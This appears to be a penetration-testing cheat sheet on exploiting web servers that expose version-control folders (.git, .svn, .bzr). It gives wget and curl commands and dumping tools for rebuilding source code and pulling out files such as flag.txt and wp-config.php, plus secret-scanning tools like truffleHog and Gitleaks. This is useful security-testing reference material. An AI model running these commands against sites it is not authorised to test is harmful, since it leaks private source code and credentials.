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9.4 KiB
9.4 KiB
Insecure source code management
GIT - Source code management
The following examples will create either a copy of the .git or a copy of the current commit.
Check for the following files, if they exist you can extract the .git folder.
- .git/config
- .git/HEAD
- .git/logs/HEAD
Github example with a .git
- Check 403 error (Forbidden) for .git or even better : a directory listing
- Git saves all information in log file .git/logs/HEAD (try 'head' in lowercase too)
0000000000000000000000000000000000000000 15ca375e54f056a576905b41a417b413c57df6eb root <root@dfc2eabdf236.(none)> 1455532500 +0000 clone: from https://github.com/fermayo/hello-world-lamp.git 15ca375e54f056a576905b41a417b413c57df6eb 26e35470d38c4d6815bc4426a862d5399f04865c Michael <michael@easyctf.com> 1489390329 +0000 commit: Initial. 26e35470d38c4d6815bc4426a862d5399f04865c 6b4131bb3b84e9446218359414d636bda782d097 Michael <michael@easyctf.com> 1489390330 +0000 commit: Whoops! Remove flag. 6b4131bb3b84e9446218359414d636bda782d097 a48ee6d6ca840b9130fbaa73bbf55e9e730e4cfd Michael <michael@easyctf.com> 1489390332 +0000 commit: Prevent directory listing. - Access to the commit based on the hash -> a directory name (first two signs from hash) and filename (rest of it).git/objects/26/e35470d38c4d6815bc4426a862d5399f04865c,
# create a .git directory git init test cd test/.git # download the file wget http://xxx.web.xxx.com/.git/objects/26/e35470d38c4d6815bc4426a862d5399f04865c mkdir .git/object/26 mv e35470d38c4d6815bc4426a862d5399f04865c .git/objects/26/ # display the content of the file git cat-file -p 26e35470d38c4d6815bc4426a862d5399f04865c tree 323240a3983045cdc0dec2e88c1358e7998f2e39 parent 15ca375e54f056a576905b41a417b413c57df6eb author Michael <michael@easyctf.com> 1489390329 +0000 committer Michael <michael@easyctf.com> 1489390329 +0000 Initial. - Access the tree 323240a3983045cdc0dec2e88c1358e7998f2e39
wget http://xxx.web.xxx.com/.git/objects/32/3240a3983045cdc0dec2e88c1358e7998f2e39 mkdir .git/object/32 mv 3240a3983045cdc0dec2e88c1358e7998f2e39 .git/objects/32/ git cat-file -p 323240a3983045cdc0dec2e88c1358e7998f2e39 040000 tree bd083286051cd869ee6485a3046b9935fbd127c0 css 100644 blob cb6139863967a752f3402b3975e97a84d152fd8f flag.txt 040000 tree 14032aabd85b43a058cfc7025dd4fa9dd325ea97 fonts 100644 blob a7f8a24096d81887483b5f0fa21251a7eefd0db1 index.html 040000 tree 5df8b56e2ffd07b050d6b6913c72aec44c8f39d8 js - Read the data (flag.txt)
wget http://xxx.web.xxx.com/.git/objects/cb/6139863967a752f3402b3975e97a84d152fd8f mkdir .git/object/cb mv 6139863967a752f3402b3975e97a84d152fd8f .git/objects/32/ git cat-file -p cb6139863967a752f3402b3975e97a84d152fd8f
Recovering the content of .git/index
Use the git index file parser, using python3 https://pypi.python.org/pypi/gin
pip3 install gin
gin ~/git-repo/.git/index
Recover name and sha1 hash for each files listed in the index, allowing us to re-use the previous method on the file.
$ gin .git/index | egrep -e "name|sha1"
name = AWS Amazon Bucket S3/README.md
sha1 = 862a3e58d138d6809405aa062249487bee074b98
name = CRLF injection/README.md
sha1 = d7ef4d77741c38b6d3806e0c6a57bf1090eec141
Automatic way : diggit.py
./diggit.py -u remote_git_repo -t temp_folder -o object_hash [-r=True]
./diggit.py -u http://webpage.com -t /path/to/temp/folder/ -o d60fbeed6db32865a1f01bb9e485755f085f51c1
-u is remote path, where .git folder exists
-t is path to local folder with dummy Git repository and where blob content (files) are saved with their real names (cd /path/to/temp/folder && git init)
-o is a hash of particular Git object to download
Automatic way : GoGitDumper
go get github.com/c-sto/gogitdumper
gogitdumper -u http://urlhere.com/.git/ -o yourdecideddir/.git/
git log
git checkout
Automatic way : rip-git
perl rip-git.pl -v -u "http://edge1.web.*****.com/.git/"
git cat-file -p 07603070376d63d911f608120eb4b5489b507692
tree 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2
parent 15ca375e54f056a576905b41a417b413c57df6eb
author Michael <michael@easyctf.com> 1489389105 +0000
committer Michael <michael@easyctf.com> 1489389105 +0000
git cat-file -p 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2
Automatic way : GitHack
git clone https://github.com/lijiejie/GitHack
GitHack.py http://www.openssl.org/.git/
Harvesting secrets : trufflehog
Searches through git repositories for high entropy strings and secrets, digging deep into commit history
pip install truffleHog # https://github.com/dxa4481/truffleHog
truffleHog --regex --entropy=False https://github.com/dxa4481/truffleHog.git
Harvesting secrets : Gitrob
Gitrob is a tool to help find potentially sensitive files pushed to public repositories on Github. Gitrob will clone repositories belonging to a user or organization down to a configurable depth and iterate through the commit history and flag files that match signatures for potentially sensitive files.
go get github.com/michenriksen/gitrob # https://github.com/michenriksen/gitrob
export GITROB_ACCESS_TOKEN=deadbeefdeadbeefdeadbeefdeadbeefdeadbeef
gitrob [options] target [target2] ... [targetN]
Harvesting secrets - Gitleaks
Gitleaks provides a way for you to find unencrypted secrets and other unwanted data types in git source code repositories.
# Run gitleaks against a public repository
docker run --rm --name=gitleaks zricethezav/gitleaks -v -r https://github.com/zricethezav/gitleaks.git
# Run gitleaks against a local repository already cloned into /tmp/
docker run --rm --name=gitleaks -v /tmp/:/code/ zricethezav/gitleaks -v --repo-path=/code/gitleaks
# Run gitleaks against a specific Github Pull request
docker run --rm --name=gitleaks -e GITHUB_TOKEN={your token} zricethezav/gitleaks --github-pr=https://github.com/owner/repo/pull/9000
or
go get -u github.com/zricethezav/gitleaks
SVN - Source code management
SVN example (Wordpress)
curl http://blog.domain.com/.svn/text-base/wp-config.php.svn-base
- Download the svn database from http://server/path_to_vulnerable_site/.svn/wc.db
INSERT INTO "NODES" VALUES(1,'trunk/test.txt',0,'trunk',1,'trunk/test.txt',2,'normal',NULL,NULL,'file',X'2829',NULL,'$sha1$945a60e68acc693fcb74abadb588aac1a9135f62',NULL,2,1456056344886288,'bl4de',38,1456056261000000,NULL,NULL); - Download interesting files
- remove $sha1$ prefix
- add .svn-base postfix
- use first two signs from hash as folder name inside pristine/ directory (94 in this case)
- create complete path, which will be:
http://server/path_to_vulnerable_site/.svn/pristine/94/945a60e68acc693fcb74abadb588aac1a9135f62.svn-base
Automatic way : svn-extractor
git clone https://github.com/anantshri/svn-extractor.git
python svn-extractor.py –url "url with .svn available"
BAZAAR - Source code management
Automatic way : rip-bzr.pl
wget https://raw.githubusercontent.com/kost/dvcs-ripper/master/rip-bzr.pl
docker run --rm -it -v /path/to/host/work:/work:rw k0st/alpine-dvcs-ripper rip-git.pl -v -u
Automatic way : bzr_dumper
git clone https://github.com/SeahunOh/bzr_dumper
python3 dumper.py -u "http://127.0.0.1:5000/" -o source
Created a standalone tree (format: 2a)
[!] Target : http://127.0.0.1:5000/
[+] Start.
[+] GET repository/pack-names
[+] GET README
[+] GET checkout/dirstate
[+] GET checkout/views
[+] GET branch/branch.conf
[+] GET branch/format
[+] GET branch/last-revision
[+] GET branch/tag
[+] GET b'154411f0f33adc3ff8cfb3d34209cbd1'
[*] Finish
$ bzr revert
N application.py
N database.py
N static/